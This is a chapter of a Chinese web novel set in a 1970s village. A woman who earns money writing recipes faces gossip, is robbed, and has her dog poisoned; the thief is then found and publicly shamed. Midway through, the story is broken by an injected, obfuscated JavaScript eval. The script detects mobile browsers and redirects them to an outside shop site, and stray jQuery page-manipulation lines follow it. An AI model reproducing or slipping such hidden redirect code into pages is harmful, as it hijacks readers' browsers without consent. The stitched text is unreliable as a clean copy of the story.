接下来的日子像一双手，慢慢地将陈绍君心里那块皱了的布仔细地熨平。
陈绍君的生活有了形状。
早上去村小上课，下午回家就在灶台上炖些简单的东西调养身体，晚上就油灯底下写自己的食谱本子。
她写菜谱的速度越来越快，那些21世纪的菜式被她拆解成七十年代能实现的版本。她每周六把食谱送去老周的饭店换成纸币。
一个月，她就攒了七十块钱。
这钱不多，但够用。上次进城看电影《海霞》时，她就去供销社里给自己和陈绍君禾各扯了一块布，深蓝色的给妹妹做了一件罩衫，月白色的给自己裁了一身外套。
裁缝就是住在隔壁的王大妈。
衣裳做好那天，陈绍君换上站在家门口，阳光从树的秃枝间漏下来，在她身上洒了一身碎金。
王大妈眯着眼睛看她，笑着说：“这料子衬你，穿着比城里那些姑娘还体面。”
陈岁听了这话，也笑了。她站在门槛边上，阳光落在她身上，她整个人像被碎金的光镀了一遍，在午后的薄光里显得格外明亮干净。
姐妹俩的日子可以说是越过越好……
但有些人，是看不得她好的。
刘金玉站在自家院门口，手里攥着一把喂鸡的碎玉米粒，眼睛却黏在陈绍君家的那扇门上。她的目光像一把生了锈的剪子，一寸一寸地剪着陈绍君新换的那身衣裳。
“骚蹄子，”她低声骂了一句，把那把碎玉米往地上一撒，鸡扑棱着翅膀围过来，她一脚踢开一只，“她一个老师有什么钱，她能靠什么挣钱？不要脸的东西。”
没几天，村里就传开了闲话。
“陈绍君那个丫头，花钱大手大脚的，你看见她身上那件新衣裳没有？”
“呦！月白色的，那料子可不便宜。”
“可不是嘛，一个人带个妹妹，哪来那么多钱？”
“兴许是找了什么人——”
“你别瞎说，人家是老师，有工资的。”
“那点工资够干什么？你看她买了多少东西？又是白面又是肉的，那灶台上飘出来的香味儿，馋哭人！”
这些话像秋天的落叶，被风吹得到处都是。陈绍君走在村里能感觉到那些目光，像黏黏糊糊的蛛网一样挂在她身上。但她照常上班，照常精致过活，照常周末去县城送菜谱。
直到有一天上班，王嘉礼气冲冲地冲进办公室。
“绍君，”王嘉礼的脸涨得通红，像是刚从一场架里拔出来，“你千万别管那些人放什么屁，我跟刘金玉吵了一架！什么骚蹄子不正经的，我直接怼回去了——我说刘金玉你是不是眼红？人家过什么样你管得着吗？自己家日子过不好就见不得别人好，心眼比针尖还小！”
陈绍君看着她生气的样子，伸手帮她把歪掉的发卡扶正了：“谢谢你，嘉礼。”
“谢什么，”王嘉礼气呼呼地跺了跺脚，“我就是看不惯她那样嚼舌根。你什么都没干，天天除了上课就是写东西，她居然这样造谣！”
陈绍君也苦恼，她昨天当面跟刘金玉说过一次，刘金玉完全没当回事，还朝她吐口水……她家之前就被撬过门——刘金玉不会只满足于嚼舌根。
她的直觉是对的。
第二天，陈绍君是被一种异样的安静给惊醒的。
往常这个时候，院子里的大黑狗会趴在门缝底下哼唧，等着她起来喂食。
今天，狗没有叫。
陈绍君从床上坐起来，披了衣服推开里屋的门。院子里的风灌进来，冷飕飕的。
她喊了一声："大黑？"
没有回应。
她走到狗窝旁边——大黑侧躺在稻草上，四肢僵直，舌头耷拉在嘴角边上，嘴角有一小滩白沫。
空气里有一股淡淡的苦杏仁味。
陈绍君的后脊梁瞬间就凉了。她膝盖发软，扶着墙看向院门，目光扫过门闩，木闩已经被人撬开了，断成两截扔在地上。
她走过去把那两截木闩捡起来，放在手心里看了看，然后转头去看去看家里。
她住的房间里面有锁，没被动过。
但另一间没上锁的屋子——柜子全都开了，屋子里面的东西被翻得乱七八糟，衣裳扔了一地，装零钱的盒子也被一洗而空。
陈绍君走进屋子，把铁盒盖好放回原处，然后把地上那些被翻乱的衣裳一件一件叠好，重新放回柜子里。
做好这一切，她拉开门闩朝村委会的方向走。
晨光从东边照过来，在她身后拉出一道长长的影子，瘦而直的椅子支撑着她。
陈绍君推开村委办公室门的时候，陈正清正坐在那张三条腿的桌子后面抽烟，旁边坐着治保主任周老栓，正拿着一张报纸翻来覆去地看。
“陈叔，我家昨晚被偷了。”
陈正清抬起头，烟叼在嘴里，火星子一闪一闪的。
“养的大黑狗被药死了，还丢了二百块钱，半袋白面，十五个鸡蛋。门闩也被人撬断了。”
一旁的治保主任周老栓立刻放下报纸：“你人没事吧？”
“人没事。”
“你有怀疑的对象没？”
陈绍君站在门框里，晨光从她背后照进来，把她的脸罩在一片逆光的阴影里。她的表情看不清楚，但她的声音却透出她异于常人都冷静：“没有证据，我不乱说。但我希望村里能查一下。”
陈正清把烟掐了，用手指碾灭烟头，看了看周老栓。周老栓点了点头，拿起挂在墙上的棉帽子扣在头上，就往外走。
“走，带我去看看。”
陈绍君转身，走在前面。
此时晨光铺满了整个村子，各家各户的屋顶上升起来的炊烟，被凉风一吹就散了。
周老栓和陈正清跟在陈绍君的后面。没一会，他们就到了陈绍君家。
陈绍君打开院门，那只黑狗还躺在狗窝边，晨光照在它的皮毛上，泛着一层不真实的金色。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677657|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周老栓蹲下去看了看嘴角的白沫，又站起来嗅了嗅空气里的气味，眉头皱得很紧。他走进屋里看了看被撬的门闩和柜锁，又绕到屋后转了一圈，最后回到院子里的那棵树底下站定。
他对陈正清说：“老陈这事不是外人干的。外面的人摸不准她家东西搁哪儿。能直奔柜子和灶台的，绝不是头一回来。”
陈正清沉着脸，站在院子里没说话。
周老栓又说：“我去查。村东头那几个知青昨天傍晚熬夜在坡旁边打井。说不定有人看见了什么。还有，许知青今天一大早就去农机站了，说是要借工具修什么——”
“他那么早上工？”陈正清问。
“嗯，蛮早的，我六点去菜地浇水就见他出门了，他又住在旁边的平房，我待会儿去问问他。”周老栓说。
陈绍君站在屋檐底下，听着他们的对话，脸上没什么表情。
……
周老栓办事利落，当天下午就有了眉目。
他在村东头走了大半圈，找了好几个人问话，最后是知青队的张强提了一嘴——说是天刚蒙蒙亮的时候，看见刘金玉抱着个鼓鼓囊囊的布口袋，慌慌张张地在路上走。他当时没多想，以为是赶早集去的。
周老栓听完没吭声，揣着手往刘金玉家走了一趟。刘金玉不在家，她儿媳妇正在院子里筛豆子。周老栓也没多问，只在院子里慢慢转了一圈，目光落在灶台边上——那半袋白面搁在灶台旁边的矮桌上，袋口扎得紧紧的，封口处绣着一小朵月白色的花，和他今天在陈绍君家晾衣架上看到的枕套上的花一模一样。
事情就这么查清了。
钱和东西都追了回来，钱原封不动，布票粮票一张不少，只是那条被药死了的大黑狗再也醒不过来了。
村里最终没有报案。周老栓在陈正清屋里坐了一下午，商量的结果是关起门来处置——陈正清拍了桌子，勒令刘金玉把钱物如数退还，又扣了她家半年的工分，这事就算揭过去了。
当天晚上，村里召集了各家的主事人开了批斗会。
深冬的夜风从北边灌进来，百来个人围在院子里，缩着脖子拢着手，哈出的白气在夜色里聚了又散。陈正清站在最前头，烟袋锅子捏在手里，一直没有点。
“村里的风气得管管了！”陈正清一开口，整个院子的喧闹都沉了下去，“偷鸡摸狗的事，有一就有二，有二就有三。今天丢的是钱和粮食，明天丢的是什么？我丑话说在前头——没证据的事我不乱扣帽子，但大家心里都有数。往后谁的手脚再不干净，别怪我不给情面。”
他没有点名。可他说话的时候目光一直停在刘金玉坐着的那个角落。
刘金玉坐在人堆里，脸涨成了猪肝色，又慢慢褪成一种难看的青白。她嘴唇抿得发白，唇线绷成一道硬直的痕，像是怕一松开就会有什么东西从里面涌出来。她没有抬头看任何人，只是盯着自己膝盖上那块被攥皱了的裤子。但她心里那锅水已经彻底沸了，完全熏得她失去理智。